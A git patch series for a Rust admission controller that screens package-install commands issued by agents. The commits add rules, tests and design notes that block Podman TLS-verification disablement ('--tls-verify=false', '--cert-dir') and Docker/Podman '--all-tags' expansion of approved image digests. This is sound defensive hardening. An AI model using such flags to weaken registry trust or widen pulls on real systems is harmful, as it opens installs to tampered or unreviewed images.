admission_decision(&policy, &intent); + let decision = admission_decision(&policy, &intent); - assert_eq!(decision.decision, DecisionKind::Block); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "alternate_trust_root"), - "caller-selected TLS verification disablement must not inherit registry trust from policy" - ); + assert_eq!( + decision.decision, + DecisionKind::Block, + "Podman false spelling {disabled} must not disable reviewed registry TLS verification" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "caller-selected TLS verification disablement must not inherit registry trust from policy" + ); + } } #[test] From b7b13e5db6997bb0ccdddea000ededd2a7b4cdb6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:11:10 +0900 Subject: [PATCH 148/702] feat(security): classify Podman registry TLS trust overrides --- .../src/oci_transport.rs | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 crates/agent-artifact-admission/src/oci_transport.rs diff --git a/crates/agent-artifact-admission/src/oci_transport.rs b/crates/agent-artifact-admission/src/oci_transport.rs new file mode 100644 index 00000000..dc278280 --- /dev/null +++ b/crates/agent-artifact-admission/src/oci_transport.rs @@ -0,0 +1,29 @@ +use crate::InstallIntent; + +/// Return whether a Podman pull asks the caller to replace or disable the +/// registry TLS trust represented by the reviewed artifact policy. +pub(crate) fn requests_unapproved_oci_transport_trust(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if executable != "podman" { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments.first().is_some_and(|argument| argument == "pull") { + return false; + } + + arguments.iter().skip(1).any(|argument| { + argument == "--cert-dir" + || argument.starts_with("--cert-dir=") + || argument + .strip_prefix("--tls-verify=") + .is_some_and(is_false_boolean) + }) +} + +fn is_false_boolean(value: &str) -> bool { + matches!(value.to_ascii_lowercase().as_str(), "0" | "f" | "false") +} From c4cb57312dc0bf2972ad7ae61e3c526b49c5217f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:11:19 +0900 Subject: [PATCH 149/702] fix(security): fail closed on Podman registry TLS overrides --- crates/agent-artifact-admission/src/lib.rs | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 02652f74..448c6f37 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -5,6 +5,7 @@ mod artifact_variant; mod audit; mod config; mod http; +mod oci_transport; mod policy; pub use admission::{ @@ -34,5 +35,11 @@ pub fn admission_decision( } decision.decision = DecisionKind::Block; } + if oci_transport::requests_unapproved_oci_transport_trust(intent) { + if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } decision } From 7c833b6c4fc77c1ad17c03b48169addfb5328c5b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:11:36 +0900 Subject: [PATCH 150/702] test(architecture): keep OCI trust policy in domain boundary --- .../agent-artifact-admission/tests/ddd_architecture_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs index 7781281c..2bd8e9a0 100644 --- a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -7,6 +7,7 @@ const DOMAIN_SOURCES: &[(&str, &str)] = &[ ("admission.rs", include_str!("../src/admission.rs")), ("artifact_variant.rs", include_str!("../src/artifact_variant.rs")), + ("oci_transport.rs", include_str!("../src/oci_transport.rs")), ("policy.rs", include_str!("../src/policy.rs")), ]; From d45cb23f11659a353cd0d94a58c800b34377ff19 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:11:58 +0900 Subject: [PATCH 151/702] docs(security): trace OCI registry TLS trust authority --- docs/doctoring/oci-registry-tls-trust.md | 27 ++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 docs/doctoring/oci-registry-tls-trust.md diff --git a/docs/doctoring/oci-registry-tls-trust.md b/docs/doctoring/oci-registry-tls-trust.md new file mode 100644 index 00000000..05ec944a --- /dev/null +++ b/docs/doctoring/oci-registry-tls-trust.md @@ -0,0 +1,27 @@ +# OCI registry TLS trust authority + +Verified 2026-09-04. This note records why Wardnet's Agent Artifact Admission boundary rejects caller-selected Podman registry TLS weakening or certificate-directory replacement. It is an admission-policy control only; Wardnet does not fetch images or take over hostile execution from `quarantine-sandbox-runtime`. + +## Problem + +An approved OCI coordinate binds an HTTPS registry URL and exact artifact identity, but Podman's pull command exposes transport options that can change how that registry identity is authenticated. Current Podman documentation states that `--tls-verify=false` disables certificate verification when contacting registries and that `--cert-dir=path` selects certificates used to connect to the registry. + +Before this repair, a structured intent such as `podman pull --tls-verify=false IMAGE@sha256:DIGEST` or `podman pull --cert-dir=/unreviewed IMAGE@sha256:DIGEST` could still satisfy Wardnet's exact artifact, manifest, executable, and digest checks. The caller could therefore weaken or replace the TLS trust used for the approved registry without a corresponding policy grant. Digest verification downstream remains necessary, but it does not make caller-controlled registry authentication part of the reviewed admission authority. + +## Decision + +Wardnet classifies Podman `--cert-dir` overrides and false values of `--tls-verify` as `alternate_trust_root` and blocks the install intent. Go/Podman-compatible false spellings represented by `false`, `f`, and `0` are treated equivalently, case-insensitively. Explicit `--tls-verify=true` remains compatible because it does not weaken the reviewed HTTPS registry trust. + +The control is implemented in the bounded `oci_transport` domain predicate and composed into the existing admission result. It does not add a new public reason code, does not select certificates itself, and does not duplicate registry transport or runtime verification logic. + +## Executable evidence + +- RED `186be292eea13a8cc97c10e09208a5360a2a5996` introduces the hostile Podman TLS-disable and custom certificate-directory cases; `7725ae8a8583f53c78c02df7296069dc4c270b37` extends the RED across accepted false spellings while retaining a `--tls-verify=true` allow control. +- Causal repair `b7b13e5db6997bb0ccdddea000ededd2a7b4cdb6` adds the bounded OCI transport-trust predicate, and GREEN composition `c4cb57312dc0bf2972ad7ae61e3c526b49c5217f` maps it to the existing `alternate_trust_root` fail-closed decision. +- Architecture fitness `7c833b6c4fc77c1ad17c03b48169addfb5328c5b` places `oci_transport.rs` under the same dependency-direction contract as the other admission-domain sources. + +Exact-current-head repository, security, coverage, and review execution remains required before integration. Queued or predecessor evidence is not GREEN. + +## APA 7 reference + +Podman Project. (2026). *podman-pull — Pull an image from a registry*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html From de69e7151913d246f4f1dffec08428aa32b2dc60 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:12:11 +0900 Subject: [PATCH 152/702] docs(changelog): record OCI registry TLS hardening --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9b34359d..c5e2ede8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,10 +7,11 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. +- Bound Podman registry transport to reviewed HTTPS trust: false forms of `--tls-verify` and caller-selected `--cert-dir` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, OCI platform-variant authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, OCI platform-variant and registry-TLS trust authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From d7f429c37a3bd26ea746254defc5d65f33ef71f2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 10:12:26 +0900 Subject: [PATCH 153/702] test(security): reject OCI repository-wide pull expansion --- .../tests/oci_all_tags_contract.rs | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/oci_all_tags_contract.rs diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs new file mode 100644 index 00000000..4ea7fdd7 --- /dev/null +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -0,0 +1,80 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; + +#[test] +fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { + for executable in ["docker", "podman"] { + for all_tags_flag in ["--all-tags", "-a"] { + let (policy, mut intent) = approved_oci_pull(executable); + intent.argv.insert(2, all_tags_flag.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{executable} {all_tags_flag} must not expand one approved digest into every mutable tag in the repository" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "repository-wide OCI expansion must stay in the artifact-identity reason domain" + ); + } + } +} + +fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); + let artifact = ArtifactCoordinate { + ecosystem: "oci".to_string(), + name: IMAGE_NAME.to_string(), + version: "1.2.3".to_string(), + registry_url: "https://ghcr.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: DIGEST.to_string(), + artifact_argument: artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "oci-all-tags-test".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: format!("req-oci-all-tags-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![executable.to_string(), "pull".to_string(), artifact_argument], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 7f06137453dc2296e4c4ac8c439777bf19ba7244 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 10:13:42 +0900 Subject: [PATCH 154/702] fix(security): bind OCI pulls to exact artifact set --- .../agent-artifact-admission/src/artifact_variant.rs | 10 ++++++---- crates/agent-artifact-admission/src/lib.rs | 2 +- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index a53bd790..b14c1438 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -1,8 +1,8 @@ use crate::InstallIntent; -/// Return whether an OCI pull asks the client to select a platform variant that -/// is not represented by the approved artifact coordinate. -pub(crate) fn requests_unapproved_oci_platform(intent: &InstallIntent) -> bool { +/// Return whether an OCI pull asks the client to expand or select artifact +/// identity that is not represented by the approved artifact coordinates. +pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { return false; }; @@ -16,7 +16,9 @@ pub(crate) fn requests_unapproved_oci_platform(intent: &InstallIntent) -> bool { } arguments.iter().any(|argument| { - argument == "--platform" + argument == "--all-tags" + || argument == "-a" + || argument == "--platform" || argument.starts_with("--platform=") || (executable == "podman" && (argument == "--arch" diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 448c6f37..a9ff8e50 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -29,7 +29,7 @@ pub fn admission_decision( intent: &InstallIntent, ) -> AdmissionDecision { let mut decision = policy::admission_decision(policy, intent); - if artifact_variant::requests_unapproved_oci_platform(intent) { + if artifact_variant::requests_unapproved_oci_artifact_variant(intent) { if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } From 37751afc97dd318ae1dd2be48faf54e60069163a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 10:14:25 +0900 Subject: [PATCH 155/702] docs(security): record exact-set OCI pull invariant --- CHANGELOG.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c5e2ede8..e93cf264 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,11 +7,12 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. +- Bound OCI pull cardinality to the exact reviewed artifact set: Docker/Podman `-a` / `--all-tags` fail closed as `artifact_not_approved` because the clients define those switches as repository-wide mutable tag expansion rather than one pinned digest request. - Bound Podman registry transport to reviewed HTTPS trust: false forms of `--tls-verify` and caller-selected `--cert-dir` fail closed as `alternate_trust_root`, while explicit TLS verification remains compatible with the approved registry identity. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, OCI platform-variant and registry-TLS trust authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, exact-set OCI pull cardinality, OCI platform-variant and registry-TLS trust authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 3a63247e412d17b7bbee2a1d1668dfc84adf1280 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 10:14:56 +0900 Subject: [PATCH 156/702] docs(security): trace OCI pull cardinality authority --- .../oci-repository-pull-cardinality.md | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 docs/doctoring/oci-repository-pull-cardinality.md diff --git a/docs/doctoring/oci-repository-pull-cardinality.md b/docs/doctoring/oci-repository-pull-cardinality.md new file mode 100644 index 00000000..7d6c2af6 --- /dev/null +++ b/docs/doctoring/oci-repository-pull-cardinality.md @@ -0,0 +1,33 @@ +# OCI repository pull cardinality + +## Problem + +Agent Artifact Admission authorizes exact reviewed OCI artifact coordinates, including a digest-bearing command operand. Docker and Podman both expose `-a` / `--all-tags` on `pull`; their current command references define that option as pulling every tagged image in a repository. Before this repair, Wardnet ignored those option tokens because they begin with `-`, so an intent could retain an `allow` decision even though the downstream client had been asked to expand one approved artifact request into a mutable repository-wide set. + +This is an admission-authority defect, not an OCI transport implementation responsibility. Wardnet owns whether submitted structured argv stays inside the reviewed artifact set. Docker/Podman continue to own registry transport, and the downstream execution broker/quarantine path still owns retrieval, byte verification, and hostile execution isolation. + +## Decision + +For Docker and Podman `pull`, `-a` and `--all-tags` are rejected as `artifact_not_approved`. The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. No new public reason code or provider-specific transport abstraction is introduced. + +The decision is fail-closed until Wardnet has a versioned policy aggregate capable of enumerating every artifact that a repository-wide operation may retrieve. A mutable tag set is not equivalent to a reviewed list of exact digests. + +## RED / GREEN evidence + +- RED `d7f429c37a3bd26ea746254defc5d65f33ef71f2`: `oci_all_tags_contract.rs` requires Docker and Podman long/short all-tags forms to block even when the submitted operand itself is an approved digest. +- Causal GREEN source `7f06137453dc2296e4c4ac8c439777bf19ba7244`: `artifact_variant` rejects `-a` / `--all-tags` and the composition keeps the existing `artifact_not_approved` contract. +- Exact-current-head workflow execution remains authoritative for terminal GREEN; predecessor workflow results do not transfer to a changed head. + +## Threat effect + +The repair removes a confused-deputy path where untrusted agent-supplied argv could widen a single reviewed OCI identity into every mutable tag in a repository. It does not claim that a permitted digest pull proves downloaded bytes. The execution broker must still verify the retrieved object or equivalent provenance against the admitted identity before installation or execution. + +## References + +Docker, Inc. (2026). *docker image pull*. Docker Docs. https://docs.docker.com/reference/cli/docker/image/pull/ + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 + +Podman contributors. (2026). *podman-pull*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html + +Primary command references were re-verified on 2026-09-04. Docker documents `-a, --all-tags` as downloading all tagged images in a repository. Podman documents the equivalent option as pulling all tagged images in the repository. Those semantics are the reason this option is treated as artifact-set authority rather than harmless client presentation detail. From 883d1d37e05b0ccd9d30b2c1b25fd7d53c6fc8d8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 16:15:32 +0900 Subject: [PATCH 157/702] test(admission): cover assigned OCI all-tags forms --- crates/agent-artifact-admission/tests/oci_all_tags_contract.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs index 4ea7fdd7..5e528622 100644 --- a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -11,7 +11,7 @@ const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; #[test] fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { for executable in ["docker", "podman"] { - for all_tags_flag in ["--all-tags", "-a"] { + for all_tags_flag in ["--all-tags", "-a", "--all-tags=true", "-a=true"] { let (policy, mut intent) = approved_oci_pull(executable); intent.argv.insert(2, all_tags_flag.to_string()); From e9e07e696c013dab88df6a5a6dc1be8306b9b688 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 16:15:57 +0900 Subject: [PATCH 158/702] fix(admission): block assigned OCI all-tags expansion --- .../agent-artifact-admission/src/artifact_variant.rs | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index b14c1438..f4033457 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -18,6 +18,10 @@ pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) - arguments.iter().any(|argument| { argument == "--all-tags" || argument == "-a" + || argument + .strip_prefix("--all-tags=") + .is_some_and(is_true_boolean) + || argument.strip_prefix("-a=").is_some_and(is_true_boolean) || argument == "--platform" || argument.starts_with("--platform=") || (executable == "podman" @@ -29,3 +33,10 @@ pub(crate) fn requests_unapproved_oci_artifact_variant(intent: &InstallIntent) - || argument.starts_with("--variant="))) }) } + +fn is_true_boolean(value: &str) -> bool { + matches!( + value.to_ascii_lowercase().as_str(), + "1" | "t" | "true" + ) +} From 2207a6f79522dc8b6cb95e817be648bb6ef9a7f3 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 16:16:22 +0900 Subject: [PATCH 159/702] test(admission): cover OCI all-tags boolean assignments --- .../tests/oci_all_tags_contract.rs | 27 ++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs index 5e528622..adaf99e1 100644 --- a/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_all_tags_contract.rs @@ -11,7 +11,14 @@ const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; #[test] fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { for executable in ["docker", "podman"] { - for all_tags_flag in ["--all-tags", "-a", "--all-tags=true", "-a=true"] { + for all_tags_flag in [ + "--all-tags", + "-a", + "--all-tags=true", + "--all-tags=TRUE", + "-a=true", + "-a=1", + ] { let (policy, mut intent) = approved_oci_pull(executable); intent.argv.insert(2, all_tags_flag.to_string()); @@ -33,6 +40,24 @@ fn oci_all_tags_cannot_expand_an_exact_approved_digest_to_a_repository_set() { } } +#[test] +fn explicit_false_all_tags_assignment_preserves_exact_digest_admission() { + for executable in ["docker", "podman"] { + for all_tags_flag in ["--all-tags=false", "-a=0"] { + let (policy, mut intent) = approved_oci_pull(executable); + intent.argv.insert(2, all_tags_flag.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Allow, + "{executable} {all_tags_flag} leaves repository-wide expansion disabled and must not create a false security block" + ); + } + } +} + fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); let artifact = ArtifactCoordinate { From 6dfd777e1e9ce8b42c87c3311911a35f64f97190 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 16:16:54 +0900 Subject: [PATCH 160/702] docs(admission): trace assigned OCI all-tags repair --- docs/doctoring/oci-repository-pull-cardinality.md | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/docs/doctoring/oci-repository-pull-cardinality.md b/docs/doctoring/oci-repository-pull-cardinality.md index 7d6c2af6..fa55259a 100644 --- a/docs/doctoring/oci-repository-pull-cardinality.md +++ b/docs/doctoring/oci-repository-pull-cardinality.md @@ -4,18 +4,23 @@ Agent Artifact Admission authorizes exact reviewed OCI artifact coordinates, including a digest-bearing command operand. Docker and Podman both expose `-a` / `--all-tags` on `pull`; their current command references define that option as pulling every tagged image in a repository. Before this repair, Wardnet ignored those option tokens because they begin with `-`, so an intent could retain an `allow` decision even though the downstream client had been asked to expand one approved artifact request into a mutable repository-wide set. +A follow-up hostile case found the first repair was syntactically incomplete. Boolean CLI options can also be supplied as assignments, including `--all-tags=true` and short-form assignments such as `-a=true`. The exact-token predicate rejected bare `-a` / `--all-tags` but did not classify assigned true forms, so the same artifact-set expansion authority could escape the admission boundary while the reviewed digest operand still matched policy. + This is an admission-authority defect, not an OCI transport implementation responsibility. Wardnet owns whether submitted structured argv stays inside the reviewed artifact set. Docker/Podman continue to own registry transport, and the downstream execution broker/quarantine path still owns retrieval, byte verification, and hostile execution isolation. ## Decision -For Docker and Podman `pull`, `-a` and `--all-tags` are rejected as `artifact_not_approved`. The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. No new public reason code or provider-specific transport abstraction is introduced. +For Docker and Podman `pull`, bare `-a` / `--all-tags` and assigned true spellings are rejected as `artifact_not_approved`. The existing artifact-variant predicate is intentionally widened to cover both platform selection and dynamic artifact-set expansion because both change artifact identity beyond the reviewed `ArtifactCoordinate` set. Explicit false assignments remain admissible because they do not widen the pull set. No new public reason code or provider-specific transport abstraction is introduced. The decision is fail-closed until Wardnet has a versioned policy aggregate capable of enumerating every artifact that a repository-wide operation may retrieve. A mutable tag set is not equivalent to a reviewed list of exact digests. ## RED / GREEN evidence - RED `d7f429c37a3bd26ea746254defc5d65f33ef71f2`: `oci_all_tags_contract.rs` requires Docker and Podman long/short all-tags forms to block even when the submitted operand itself is an approved digest. -- Causal GREEN source `7f06137453dc2296e4c4ac8c439777bf19ba7244`: `artifact_variant` rejects `-a` / `--all-tags` and the composition keeps the existing `artifact_not_approved` contract. +- Causal GREEN source `7f06137453dc2296e4c4ac8c439777bf19ba7244`: `artifact_variant` rejects bare `-a` / `--all-tags` and the composition keeps the existing `artifact_not_approved` contract. +- Follow-up RED `883d1d37e05b0ccd9d30b2c1b25fd7d53c6fc8d8`: the hostile contract adds assigned true forms that the exact-token predicate did not reject. +- Causal GREEN `e9e07e696c013dab88df6a5a6dc1be8306b9b688`: the predicate recognizes true Boolean assignments without treating explicit false assignments as repository expansion. +- Coverage refinement `2207a6f79522dc8b6cb95e817be648bb6ef9a7f3`: exercises Docker/Podman long/short assigned true spellings and the explicit-false non-regression boundary. - Exact-current-head workflow execution remains authoritative for terminal GREEN; predecessor workflow results do not transfer to a changed head. ## Threat effect @@ -24,10 +29,12 @@ The repair removes a confused-deputy path where untrusted agent-supplied argv co ## References +Docker, Inc. (2026). *docker CLI reference*. Docker Docs. https://docs.docker.com/reference/cli/docker/ + Docker, Inc. (2026). *docker image pull*. Docker Docs. https://docs.docker.com/reference/cli/docker/image/pull/ National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* 